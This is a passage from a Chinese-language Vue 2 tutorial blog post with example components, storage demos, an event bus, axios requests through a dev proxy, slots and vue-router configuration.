        </div>
    </body>

    <script type="text/javascript">
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

         new Vue({
            el:'#root',
            data:{
                opacity:1
            },
            methods: {
                stop(){
                    this.$destroy()
                }
            },
            //Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
            mounted(){
                console.log('mounted',this)
                this.timer = setInterval(() => {
                    console.log('setInterval')
                    this.opacity -= 0.01
                    if(this.opacity <= 0) this.opacity = 1
                },16)
            },
            beforeDestroy() {
                clearInterval(this.timer)
                console.log('vm即将驾鹤西游了')
            },
        })

    </script>
</html>

17、Vue的脚手架(你需要安装一个Vue的脚手架)略

18、这里要教大家创建一个脚手架的项目

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

19、安装我们的VsCode

20、在VsCode中安装插件

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

17、脚手架目录解析

要下载的插件

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

这个就是Vue脚手架创建出来的项目的目录解析

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

什么是组件

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

Vue项目的运行流程

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

17.1、School的编写
<template>
    <div class="demo">
        <h2>学校名称:{{name}}</h2>
        <h2>学校地址:{{address}}</h2>
        <button @click="showName">点我提示学校名</button>    
    </div>
</template>

<script>
     export default {
        name:'School',
        data(){
            return {
                name:'川轻化',
                address:'北京昌平'
            }
        },
        methods: {
            showName(){
                alert(this.name)
            }
        },
    }
</script>

<style>
    .demo{
        background-color: orange;
    }
</style>
17.2、Student的编写
<template>
    <div>
        <h2>学生姓名:{{name}}</h2>
        <h2>学生年龄:{{age}}</h2>
    </div>
</template>

<script>
     export default {
        name:'Student',
        data(){
            return {
                name:'张三',
                age:18
            }
        }
    }
</script>

17.3、App.vue的编写
<template>
    <div>
        <img src="./assets/logo.png" alt="logo">
        <School></School>
        <Student></Student>
    </div>
</template>

<script>
    //引入组件
    import School from './components/School'
    import Student from './components/Student'

    export default {
        name:'App',
        components:{
            School,
            Student
        }
    }
</script>

17.4、main.js的编写
/* 
    该文件是整个项目的入口文件
*/
//引入Vue
import Vue from 'vue'
//引入App组件,它是所有组件的父组件
import App from './App.vue'
//关闭vue的生产提示
Vue.config.productionTip = false

/* 
    关于不同版本的Vue:

        1.vue.js与vue.runtime.xxx.js的区别:
                (1).vue.js是完整版的Vue,包含:核心功能+模板解析器。
                (2).vue.runtime.xxx.js是运行版的Vue,只包含:核心功能;没有模板解析器。

        2.因为vue.runtime.xxx.js没有模板解析器,所以不能使用template配置项,需要使用
            render函数接收到的createElement函数去指定具体内容。
*/

//创建Vue实例对象---vm
new Vue({
    el:'#app',
    //render函数完成了这个功能:将App组件放入容器中
  render: h => h(App),
    // render:q=> q('h1','你好啊')

    // template:`<h1>你好啊</h1>`,
    // components:{App},
})

18、ref属性的使用

ref是干嘛的?
  类似于咋们JQuery中选择器  id   class  找DOM节点 
18.1、编写School.vue
<template>
    <div class="school">
        <h2>学校名称:{{name}}</h2>
        <h2>学校地址:{{address}}</h2>
    </div>
</template>

<script>
    export default {
        name:'School',
        data() {
            return {
                name:'川轻化',
                address:'北京·昌平'
            }
        },
    }
</script>

<style>
    .school{
        background-color: gray;
    }
</style>
18.2、编写App.vue
<template>
    <div>
        <h1 v-text="msg" ref="title"></h1>
        <button ref="btn" @click="showDOM">点我输出上方的DOM元素</button>
        <School ref="sch"/>
    </div>
</template>

<script>
    //引入School组件
    import School from './components/School'

    export default {
        name:'App',
        components:{School},
        data() {
            return {
                msg:'欢迎学习Vue!'
            }
        },
        methods: {
            showDOM(){
                console.log(this.$refs.title) //真实DOM元素
                console.log(this.$refs.btn) //真实DOM元素
                console.log(this.$refs.sch) //School组件的实例对象(vc)
            }
        },
    }
</script>

19、props的使用

19.1、编写Student.vue
<template>
    <div>
        <h1>{{msg}}</h1>
        <h2>学生姓名:{{name}}</h2>
        <h2>学生性别:{{sex}}</h2>
        <h2>学生年龄:{{myAge+1}}</h2>
        <button @click="updateAge">尝试修改收到的年龄</button>
    </div>
</template>

<script>
    export default {
        name:'Student',
        data() {
            console.log(this)
            return {
                msg:'我是一个川轻化的学生',
                myAge:this.age
            }
        },
        methods: {
            updateAge(){
                this.myAge++
            }
        },
        //简单声明接收
        // props:['name','age','sex'] 

        //接收的同时对数据进行类型限制
        /* props:{
            name:String,
            age:Number,
            sex:String
        } */

        //接收的同时对数据:进行类型限制+默认值的指定+必要性的限制
        props:{
            name:{
                type:String, //name的类型是字符串
                required:true, //name是必要的
            },
            age:{
                type:Number,
                default:99 //默认值
            },
            sex:{
                type:String,
                required:true
            }
        }
    }
</script>
19.2、编写App.vue
<template>
    <div>
        <Student name="李四" sex="" :age="18"/>
    </div>
</template>

<script>
    import Student from './components/Student'

    export default {
        name:'App',
        components:{Student}
    }
</script>

20、scoped的使用

<style scoped>
    .title{
        color: red;
    }
</style>

21、浏览器的本地存储

浏览器上的数据存储
  Cookie
  下面两个的区别是 生命周期的长短不同
  localstorage:一直存在
  SessionStorage:存在于当前的回话中
21.1、localstorage的存储
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <title>localStorage</title>
    </head>
    <body>
        <h2>localStorage</h2>
        <button onclick="saveData()">点我保存一个数据</button>
        <button onclick="readData()">点我读取一个数据</button>
        <button onclick="deleteData()">点我删除一个数据</button>
        <button onclick="deleteAllData()">点我清空一个数据</button>

        <script type="text/javascript" >
            let p = {name:'张三',age:18}

            function saveData(){
                localStorage.setItem('msg','hello!!!')
                localStorage.setItem('msg2',666)
                localStorage.setItem('person',JSON.stringify(p))
            }
            function readData(){
                console.log(localStorage.getItem('msg'))
                console.log(localStorage.getItem('msg2'))

                const result = localStorage.getItem('person')
                console.log(JSON.parse(result))

                // console.log(localStorage.getItem('msg3'))
            }
            function deleteData(){
                localStorage.removeItem('msg2')
            }
            function deleteAllData(){
                localStorage.clear()
            }
        </script>
    </body>
</html>
21.2、sessionStorage的使用
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <title>sessionStorage</title>
    </head>
    <body>
        <h2>sessionStorage</h2>
        <button onclick="saveData()">点我保存一个数据</button>
        <button onclick="readData()">点我读取一个数据</button>
        <button onclick="deleteData()">点我删除一个数据</button>
        <button onclick="deleteAllData()">点我清空一个数据</button>

        <script type="text/javascript" >
            let p = {name:'张三',age:18}

            function saveData(){
                sessionStorage.setItem('msg','hello!!!')
                sessionStorage.setItem('msg2',666)
                sessionStorage.setItem('person',JSON.stringify(p))
            }
            function readData(){
                console.log(sessionStorage.getItem('msg'))
                console.log(sessionStorage.getItem('msg2'))

                const result = sessionStorage.getItem('person')
                console.log(JSON.parse(result))

                // console.log(sessionStorage.getItem('msg3'))
            }
            function deleteData(){
                sessionStorage.removeItem('msg2')
            }
            function deleteAllData(){
                sessionStorage.clear()
            }
        </script>
    </body>
</html>

22 、全局事件总线

全局事件总线的功能是:是用于我们的多个Vue之间实施通信用的

也就是说 可以通过多个Vue之间相互通信来改变页面上的一些内容
22.1、注册全局事件总线
//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//关闭Vue的生产提示
Vue.config.productionTip = false

//创建vm
new Vue({
    el:'#app',
    render: h => h(App),
    beforeCreate() {
        Vue.prototype.$bus = this //安装全局事件总线
    },
})
22.2、编写App.vue
<template>
    <div class="app">
        <h1>{{msg}}</h1>
        <School/>
        <Student/>
    </div>
</template>

<script>
    import Student from './components/Student'
    import School from './components/School'

    export default {
        name:'App',
        components:{School,Student},
        data() {
            return {
                msg:'你好啊!',
            }
        }
    }
</script>

<style scoped>
    .app{
        background-color: gray;
        padding: 5px;
    }
</style>

22.3、编写Student.vue
<template>
    <div class="student">
        <h2>学生姓名:{{name}}</h2>
        <h2>学生性别:{{sex}}</h2>
        <button @click="sendStudentName">把学生名给School组件</button>
    </div>
</template>

<script>
    export default {
        name:'Student',
        data() {
            return {
                name:'张三',
                sex:'男',
            }
        },
        mounted() {
            // console.log('Student',this.x)
        },
        methods: {
            sendStudentName(){
                this.$bus.$emit('hello',this.name)
            }
        },
    }
</script>

<style lang="less" scoped>
    .student{
        background-color: pink;
        padding: 5px;
        margin-top: 30px;
    }
</style>

22.4、编写School.vue
<template>
    <div class="school">
        <h2>学校名称:{{name}}</h2>
        <h2>学校地址:{{address}}</h2>
    </div>
</template>

<script>
    export default {
        name:'School',
        data() {
            return {
                name:'川轻化',
                address:'北京',
            }
        },
        mounted() {
            // console.log('School',this)
            this.$bus.$on('hello',(data)=>{
                console.log('我是School组件,收到了数据',data)
            })
        },
        beforeDestroy() {
            this.$bus.$off('hello')
        },
    }
</script>

<style scoped>
    .school{
        background-color: skyblue;
        padding: 5px;
    }
</style>

23、代理服务器的配置和Axios的请求发送

跨域的产生
  我们的HTML页面 和后台的服务器 不在一个服务器的时候 那么我们的页面访问后台的时候 就会出现跨域
23.1、代理服务器的配置(vue.config.js)
module.exports = {
  assetsDir: 'static',
  productionSourceMap: false,
  devServer: {
      proxy: {
          '/api':{ 
              target:'http://127.0.0.1:8088',
              changeOrigin:true,
               pathRewrite:{
                   '/api':''
               }
          }
      }
  }
}
23.2、使用Axios发送请求
<template>
    <div>
        <button @click="getStudents">获取学生信息</button>
        <button @click="getCars">获取汽车信息</button>
    </div>
</template>

<script>
    import axios from 'axios'
    export default {
        name:'App',
        methods: {
            getStudents(){
                axios.get('http://localhost:8080/students').then(
                    response => {
                        console.log('请求成功了',response.data)
                    },
                    error => {
                        console.log('请求失败了',error.message)
                    }
                )
            },
            getCars(){
                axios.get('http://localhost:8080/demo/cars').then(
                    response => {
                        console.log('请求成功了',response.data)
                    },
                    error => {
                        console.log('请求失败了',error.message)
                    }
                )
            }
        },
    }
</script>

<template>
  <div>
      <button @click="btnClick">点击发送GET无参数请求到服务器</button>
      <button @click="btnClick1">点击发送GET带参数请求到服务器</button>
      <button @click="btnClick2">点击发送POST带参数请求到服务器</button>
      <button @click="btnClick3">获取密码</button>
   </div>
</template>

<script>
import axios from 'axios'
   // 这里面就是写js的地方  请求服务器  数据绑定  获取数据
    export default {
        name: 'MySchool',
        data(){
            return {

            }
        },
        methods:{
           btnClick(){
              //发送请求到服务器
              // 为给定 ID 的 user 创建请求
               axios.get('http://localhost:8080/api/api/users/test.action')
               .then(function (response) {
                    console.log(response);
               })
               .catch(function (error) {
                    console.log(error);
               });
           },
           btnClick1(){
              axios.get('http://localhost:8080/api/api/users/test1.action', {
                  params: {
                     username: 'xiaobobo'
                  }
               })
               .then(function (response) {
                  console.log(response);
               })
               .catch(function (error) {
                  console.log(error);
               });
           },
           btnClick2(){
              axios.post('http://localhost:8080/api/api/users/test2.action', {
                  firstName: 'Fred',
                  lastName: 'Flintstone'
               })
               .then(function (response) {
                  console.log(response);
               })
               .catch(function (error) {
                  console.log(error);
               });
           },
           btnClick3(){
               axios.post('http://localhost:8080/api/api/users/getPassword.action', {
                  username: 'xiaobobo',
                  telPhone: '18875288746'
               })
               .then(function (response) {
                  console.log(response);
               })
               .catch(function (error) {
                  console.log(error);
               });
           }
        }
   }
</script>


<style scoped>
   div{
      width: 400px;
      height: 200px;
      background: red;
   }

</style>

24、插槽的使用

24.1、默认插槽
24.1.1、编写category.vue
<template>
    <div class="category">
        <h3>{{title}}分类</h3>
        <!-- 定义一个插槽(挖个坑,等着组件的使用者进行填充) -->
        <slot>我是一些默认值,当使用者没有传递具体结构时,我会出现</slot>
    </div>
</template>

<script>
    export default {
        name:'Category',
        props:['title']
    }
</script>

<style scoped>
    .category{
        background-color: skyblue;
        width: 200px;
        height: 300px;
    }
    h3{
        text-align: center;
        background-color: orange;
    }
    video{
        width: 100%;
    }
    img{
        width: 100%;
    }
</style>
24.1.2、编写App.vue
<template>
    <div class="container">
        <Category title="美食" >
            <img src="https://s3.ax1x.com/2021/01/16/srJlq0.jpg" alt="">
        </Category>

        <Category title="游戏" >
            <ul>
                <li v-for="(g,index) in games" :key="index">{{g}}</li>
            </ul>
        </Category>

        <Category title="电影">
            <video controls src="http://clips.vorwaerts-gmbh.de/big_buck_bunny.mp4"></video>
        </Category>
    </div>
</template>

<script>
    import Category from './components/Category'
    export default {
        name:'App',
        components:{Category},
        data() {
            return {
                foods:['火锅','烧烤','小龙虾','牛排'],
                games:['红色警戒','穿越火线','劲舞团','超级玛丽'],
                films:['《教父》','《拆弹专家》','《你好,李焕英》','《尚硅谷》']
            }
        },
    }
</script>

<style scoped>
    .container{
        display: flex;
        justify-content: space-around;
    }
</style>

24.1.3、编写main.js
//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//引入插件
import vueResource from 'vue-resource'
//关闭Vue的生产提示
Vue.config.productionTip = false
//使用插件
Vue.use(vueResource)

//创建vm
new Vue({
    el:'#app',
    render: h => h(App),
    beforeCreate() {
        Vue.prototype.$bus = this
    }
})
24.2、具名插槽
24.2.1、编写Category.vue
<template>
    <div class="category">
        <h3>{{title}}分类</h3>
        <!-- 定义一个插槽(挖个坑,等着组件的使用者进行填充) -->
        <slot name="center">我是一些默认值,当使用者没有传递具体结构时,我会出现1</slot>
        <slot name="footer">我是一些默认值,当使用者没有传递具体结构时,我会出现2</slot>
    </div>
</template>

<script>
    export default {
        name:'Category',
        props:['title']
    }
</script>

<style scoped>
    .category{
        background-color: skyblue;
        width: 200px;
        height: 300px;
    }
    h3{
        text-align: center;
        background-color: orange;
    }
    video{
        width: 100%;
    }
    img{
        width: 100%;
    }
</style>
24.2.2、编写App.vue
<template>
    <div class="container">
        <Category title="美食" >
            <img slot="center" src="https://s3.ax1x.com/2021/01/16/srJlq0.jpg" alt="">
            <a slot="footer" href="http://www.atguigu.com">更多美食</a>
        </Category>

        <Category title="游戏" >
            <ul slot="center">
                <li v-for="(g,index) in games" :key="index">{{g}}</li>
            </ul>
            <div class="foot" slot="footer">
                <a href="http://www.atguigu.com">单机游戏</a>
                <a href="http://www.atguigu.com">网络游戏</a>
            </div>
        </Category>

        <Category title="电影">
            <video slot="center" controls src="http://clips.vorwaerts-gmbh.de/big_buck_bunny.mp4"></video>
            <template v-slot:footer>
                <div class="foot">
                    <a href="http://www.atguigu.com">经典</a>
                    <a href="http://www.atguigu.com">热门</a>
                    <a href="http://www.atguigu.com">推荐</a>
                </div>
                <h4>欢迎前来观影</h4>
            </template>
        </Category>
    </div>
</template>

<script>
    import Category from './components/Category'
    export default {
        name:'App',
        components:{Category},
        data() {
            return {
                foods:['火锅','烧烤','小龙虾','牛排'],
                games:['红色警戒','穿越火线','劲舞团','超级玛丽'],
                films:['《教父》','《拆弹专家》','《你好,李焕英》','《尚硅谷》']
            }
        },
    }
</script>

<style scoped>
    .container,.foot{
        display: flex;
        justify-content: space-around;
    }
    h4{
        text-align: center;
    }
</style>

24.2.3、编写main.js
//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//引入插件
import vueResource from 'vue-resource'
//关闭Vue的生产提示
Vue.config.productionTip = false
//使用插件
Vue.use(vueResource)

//创建vm
new Vue({
    el:'#app',
    render: h => h(App),
    beforeCreate() {
        Vue.prototype.$bus = this
    }
})

25、路由的基本使用

路由的主要功能就是控制页面的跳转的

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

25.1、编写About.vue
<template>
    <h2>我是About的内容</h2>
</template>

<script>
    export default {
        name:'About'
    }
</script>
25.2、编写Home.vue
<template>
    <h2>我是Home的内容</h2>
</template>

<script>
    export default {
        name:'Home'
    }
</script>
25.3、编写index.js
// 该文件专门用于创建整个应用的路由器
import VueRouter from 'vue-router'
//引入组件
import About from '../components/About'
import Home from '../components/Home'

//创建并暴露一个路由器
export default new VueRouter({
    routes:[
        {
            path:'/about',
            component:About
        },
        {
            path:'/home',
            component:Home
        }
    ]
})

25.4、编写App.vue
<template>
  <div>
    <div class="row">
      <div class="col-xs-offset-2 col-xs-8">
        <div class="page-header"><h2>Vue Router Demo</h2></div>
      </div>
    </div>
    <div class="row">
      <div class="col-xs-2 col-xs-offset-2">
        <div class="list-group">
                    <!-- 原始html中我们使用a标签实现页面的跳转 -->
          <!-- <a class="list-group-item active" href="./about.html">About</a> -->
          <!-- <a class="list-group-item" href="./home.html">Home</a> -->

                    <!-- Vue中借助router-link标签实现路由的切换 -->
                    <router-link class="list-group-item" active-class="active" to="/about">About</router-link>
          <router-link class="list-group-item" active-class="active" to="/home">Home</router-link>
        </div>
      </div>
      <div class="col-xs-6">
        <div class="panel">
          <div class="panel-body">
                        <!-- 指定组件的呈现位置 -->
            <router-view></router-view>
          </div>
        </div>
      </div>
    </div>
  </div>
</template>

<script>
    export default {
        name:'App',
    }
</script>

25.5、编写main.js
//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//引入VueRouter
import VueRouter from 'vue-router'
//引入路由器
import router from './router'

//关闭Vue的生产提示
Vue.config.productionTip = false
//应用插件
Vue.use(VueRouter)

//创建vm
new Vue({
    el:'#app',
    render: h => h(App),
    router:router
})

26、多级路由问题

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

26.1、编写Banner.vue
<template>
    <div class="col-xs-offset-2 col-xs-8">
        <div class="page-header"><h2>Vue Router Demo</h2></div>
    </div>
</template>

<script>
    export default {
        name:'Banner'
    }
</script>
26.2、编写About.vue
<template>
    <h2>我是About的内容</h2>
</template>

<script>
    export default {
        name:'About',
        /* beforeDestroy() {
            console.log('About组件即将被销毁了')
        },*/
        /* mounted() {
            console.log('About组件挂载完毕了',this)
            window.aboutRoute = this.$route
            window.aboutRouter = this.$router
        },  */
    }
</script>
26.3、编写Home.vue
<template>
    <div>
        <h2>Home组件内容</h2>
        <div>
            <ul class="nav nav-tabs">
                <li>
                    <router-link class="list-group-item" active-class="active" to="/home/news">News</router-link>
                </li>
                <li>
                    <router-link class="list-group-item" active-class="active" to="/home/message">Message</router-link>
                </li>
            </ul>
            <router-view></router-view>
        </div>
    </div>
</template>

<script>
    export default {
        name:'Home',
        /* beforeDestroy() {
            console.log('Home组件即将被销毁了')
        }, */
        /* mounted() {
            console.log('Home组件挂载完毕了',this)
            window.homeRoute = this.$route
            window.homeRouter = this.$router
        },  */
    }
</script>
26.4、编写Message.vue
<template>
    <div>
        <ul>
            <li>
                <a href="/message1">message001</a>  
            </li>
            <li>
                <a href="/message2">message002</a>  
            </li>
            <li>
                <a href="/message/3">message003</a>  
            </li>
        </ul>
    </div>
</template>

<script>
    export default {
        name:'Message'
    }
</script>
26.5、编写News.vue
<template>
    <ul>
        <li>news001</li>
        <li>news002</li>
        <li>news003</li>
    </ul>
</template>

<script>
    export default {
        name:'News'
    }
</script>
26.6、编写router下的index.js
// 该文件专门用于创建整个应用的路由器
import VueRouter from 'vue-router'
//引入组件
import About from '../pages/About'
import Home from '../pages/Home'
import News from '../pages/News'
import Message from '../pages/Message'

//创建并暴露一个路由器
export default new VueRouter({
    routes:[
        {
            path:'/about',
            component:About
        },
        {
            path:'/home',
            component:Home,
            children:[
                {
                    path:'news',
                    component:News,
                },
                {
                    path:'message',
                    component:Message,
                }
            ]
        }
    ]
})

26.7、编写App.vue
<template>
  <div>
    <div class="row">
      <Banner/>
    </div>
    <div class="row">
      <div class="col-xs-2 col-xs-offset-2">
        <div class="list-group">
                    <!-- 原始html中我们使用a标签实现页面的跳转 -->
          <!-- <a class="list-group-item active" href="./about.html">About</a> -->
          <!-- <a class="list-group-item" href="./home.html">Home</a> -->

                    <!-- Vue中借助router-link标签实现路由的切换 -->
                    <router-link class="list-group-item" active-class="active" to="/about">About</router-link>
          <router-link class="list-group-item" active-class="active" to="/home">Home</router-link>
        </div>
      </div>
      <div class="col-xs-6">
        <div class="panel">
          <div class="panel-body">
                        <!-- 指定组件的呈现位置 -->
            <router-view></router-view>
          </div>
        </div>
      </div>
    </div>
  </div>
</template>

<script>
    import Banner from './components/Banner'
    export default {
        name:'App',
        components:{Banner}
    }
</script>

26.8、编写main.js
//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//引入VueRouter
import VueRouter from 'vue-router'
//引入路由器
import router from './router'

//关闭Vue的生产提示
Vue.config.productionTip = false
//应用插件
Vue.use(VueRouter)

//创建vm
new Vue({
    el:'#app',
    render: h => h(App),
    router:router
})

27、编程式路由导航

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

27.1、编写Banner
<template>
    <div class="col-xs-offset-2 col-xs-8">
        <div class="page-header">
            <h2>Vue Router Demo</h2>
            <button @click="back">后退</button>
            <button @click="forward">前进</button>
            <button @click="test">测试一下go</button>
        </div>
    </div>
</template>

<script>
    export default {
        name:'Banner',
        methods: {
            back(){
                this.$router.back()
                // console.log(this.$router)
            },
            forward(){
                this.$router.forward()
            },
            test(){
                this.$router.go(3)
            }
        },
    }
</script>
27.2、编写About
<template>
    <h2>我是About的内容</h2>
</template>

<script>
    export default {
        name:'About',
        /* beforeDestroy() {
            console.log('About组件即将被销毁了')
        },*/
        /* mounted() {
            console.log('About组件挂载完毕了',this)
            window.aboutRoute = this.$route
            window.aboutRouter = this.$router
        },  */
    }
</script>
27.3、编写Detail
<template>
    <ul>
        <li>消息编号:{{id}}</li>
        <li>消息标题:{{title}}</li>
    </ul>
</template>

<script>
    export default {
        name:'Detail',
        props:['id','title'],
        computed: {
            // id(){
            //     return this.$route.query.id
            // },
            // title(){
            //     return this.$route.query.title
            // },
        },
        mounted() {
            // console.log(this.$route)
        },
    }
</script>
27.4、编写Home
<template>
    <div>
        <h2>Home组件内容</h2>
        <div>
            <ul class="nav nav-tabs">
                <li>
                    <router-link class="list-group-item" active-class="active" to="/home/news">News</router-link>
                </li>
                <li>
                    <router-link class="list-group-item" active-class="active" to="/home/message">Message</router-link>
                </li>
            </ul>
            <router-view></router-view>
        </div>
    </div>
</template>

<script>
    export default {
        name:'Home',
        /* beforeDestroy() {
            console.log('Home组件即将被销毁了')
        }, */
        /* mounted() {
            console.log('Home组件挂载完毕了',this)
            window.homeRoute = this.$route
            window.homeRouter = this.$router
        },  */
    }
</script>
27.5、编写Message
<template>
    <div>
        <ul>
            <li v-for="m in messageList" :key="m.id">
                <!-- 跳转路由并携带params参数,to的字符串写法 -->
                <!-- <router-link :to="`/home/message/detail/${m.id}/${m.title}`">{{m.title}}</router-link>   -->

                <!-- 跳转路由并携带params参数,to的对象写法 -->
                <router-link :to="{
                    name:'xiangqing',
                    query:{
                        id:m.id,
                        title:m.title
                    }
                }">
                    {{m.title}}
                </router-link>
                <button @click="pushShow(m)">push查看</button>
                <button @click="replaceShow(m)">replace查看</button>
            </li>
        </ul>
        <hr>
        <router-view></router-view>
    </div>
</template>

<script>
    export default {
        name:'Message',
        data() {
            return {
                messageList:[
                    {id:'001',title:'消息001'},
                    {id:'002',title:'消息002'},
                    {id:'003',title:'消息003'}
                ]
            }
        },
        methods: {
            pushShow(m){
                this.$router.push({
                    name:'xiangqing',
                    query:{
                        id:m.id,
                        title:m.title
                    }
                })
            },
            replaceShow(m){
                this.$router.replace({
                    name:'xiangqing',
                    query:{
                        id:m.id,
                        title:m.title
                    }
                })
            }
        },
    }
</script>
27.6、编写News
<template>
    <ul>
        <li>news001</li>
        <li>news002</li>
        <li>news003</li>
    </ul>
</template>

<script>
    export default {
        name:'News'
    }
</script>
27.7、编写index.js
// 该文件专门用于创建整个应用的路由器
import VueRouter from 'vue-router'
//引入组件
import About from '../pages/About'
import Home from '../pages/Home'
import News from '../pages/News'
import Message from '../pages/Message'
import Detail from '../pages/Detail'

//创建并暴露一个路由器
export default new VueRouter({
    routes:[
        {
            name:'guanyu',
            path:'/about',
            component:About
        },
        {
            path:'/home',
            component:Home,
            children:[
                {
                    path:'news',
                    component:News,
                },
                {
                    path:'message',
                    component:Message,
                    children:[
                        {
                            name:'xiangqing',
                            path:'detail',
                            component:Detail,

                            //props的第一种写法,值为对象,该对象中的所有key-value都会以props的形式传给Detail组件。
                            // props:{a:1,b:'hello'}

                            //props的第二种写法,值为布尔值,若布尔值为真,就会把该路由组件收到的所有params参数,以props的形式传给Detail组件。
                            // props:true

                            //props的第三种写法,值为函数
                            props($route){
                                return {
                                    id:$route.query.id,
                                    title:$route.query.title,
                                    a:1,
                                    b:'hello'
                                }
                            }

                        }
                    ]
                }
            ]
        }
    ]
})

27.8、编写App.vue
<template>
  <div>
    <div class="row">
      <Banner/>
    </div>
    <div class="row">
      <div class="col-xs-2 col-xs-offset-2">
        <div class="list-group">
                    <!-- 原始html中我们使用a标签实现页面的跳转 -->
          <!-- <a class="list-group-item active" href="./about.html">About</a> -->
          <!-- <a class="list-group-item" href="./home.html">Home</a> -->

                    <!-- Vue中借助router-link标签实现路由的切换 -->
                    <router-link class="list-group-item" active-class="active" to="/about">About</router-link>
          <router-link class="list-group-item" active-class="active" to="/home">Home</router-link>
        </div>
      </div>
      <div class="col-xs-6">
        <div class="panel">
          <div class="panel-body">
                        <!-- 指定组件的呈现位置 -->
            <router-view></router-view>
          </div>
        </div>
      </div>
    </div>
  </div>
</template>

<script>
    import Banner from './components/Banner'
    export default {
        name:'App',
        components:{Banner}
    }
</script>

27.9、编写main.js
//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//引入VueRouter
import VueRouter from 'vue-router'
//引入路由器
import router from './router'

//关闭Vue的生产提示
Vue.config.productionTip = false
//应用插件
Vue.use(VueRouter)

//创建vm
new Vue({
    el:'#app',
    render: h => h(App),
    router:router
})

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值